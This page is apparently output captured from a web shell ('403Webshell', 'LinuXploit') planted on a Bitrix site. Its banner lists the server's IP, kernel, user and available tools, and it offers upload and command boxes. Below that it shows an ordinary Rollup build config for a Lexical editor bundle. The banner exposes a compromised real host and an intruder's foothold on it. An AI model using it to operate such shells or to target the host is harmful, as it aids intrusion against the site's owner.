403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/lexical/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/lexical/bundle.config.js
const replace = require('rollup-plugin-replace');
const path = require('path');
const fs = require('fs');
const { readFile, writeFile } = require('node:fs/promises');

function importFlowType()
{
	return {
		name: 'import-flow-type',
		async buildEnd()
		{
			const lexicalDir = __dirname;
			const lexicalPackageJson = require(path.join(lexicalDir, 'package.json'));
			const bundles = Object.keys(lexicalPackageJson.dependencies)
				.filter(dependence => {
					return dependence.startsWith('@lexical/') || dependence === 'lexical';
				})
				.map(dependence => {
					const id = dependence === 'lexical' ? 'core' : dependence.replace('@lexical/', '');

					return [id, dependence];
				})
			;

			const regex = /(?<=from )'@?lexical(?:\/(?<id>[_a-z-]+))?'/gm;
			const copyFlowFile = async (sourceFilePath, targetFilePath) => {
				const data = await readFile(sourceFilePath, 'utf8');
				const result = data.replaceAll(regex, (match, p1) => {
					return `'ui.lexical.${p1 || 'core'}'`;
				});

				await writeFile(targetFilePath, result, 'utf8');
			};

			for (const [id, nodeModule] of bundles)
			{
				const nodeModulePath = path.join(lexicalDir, 'node_modules', nodeModule);
				const extensionPath = `${path.join(lexicalDir, id)}/src`;
				if (fs.existsSync(nodeModulePath) && fs.existsSync(extensionPath))
				{
					const packageJson = require(path.join(nodeModulePath, 'package.json'));
					const sourceFilePath = path.join(nodeModulePath, `${packageJson.main}.flow`);
					const targetFilePath = path.join(extensionPath, `/lexical-${id}.js.flow`);

					void copyFlowFile(sourceFilePath, targetFilePath);
				}
			}
		},
	};
}

module.exports = {
	input: 'src/index.js',
	output: 'prod/dist/lexical.prod.bundle.min.js',
	namespace: 'BX.UI.Lexical',
	browserslist: true,
	plugins: {
		resolve: true,
		custom: [
			replace({
				'process.env.NODE_ENV': JSON.stringify('production'),
			}),
			importFlowType(),
		],
	},
	adjustConfigPhp: false,
	sourceMaps: false,
	minification: {
		mangle: false,
		enclose: false,
		keep_classnames: false,
		keep_fnames: false,
		ie8: false,
		module: false,
		nameCache: null,
		safari10: false,
		toplevel: false,
	},
};

Youez - 2016 - github.com/yon3zu
LinuXploit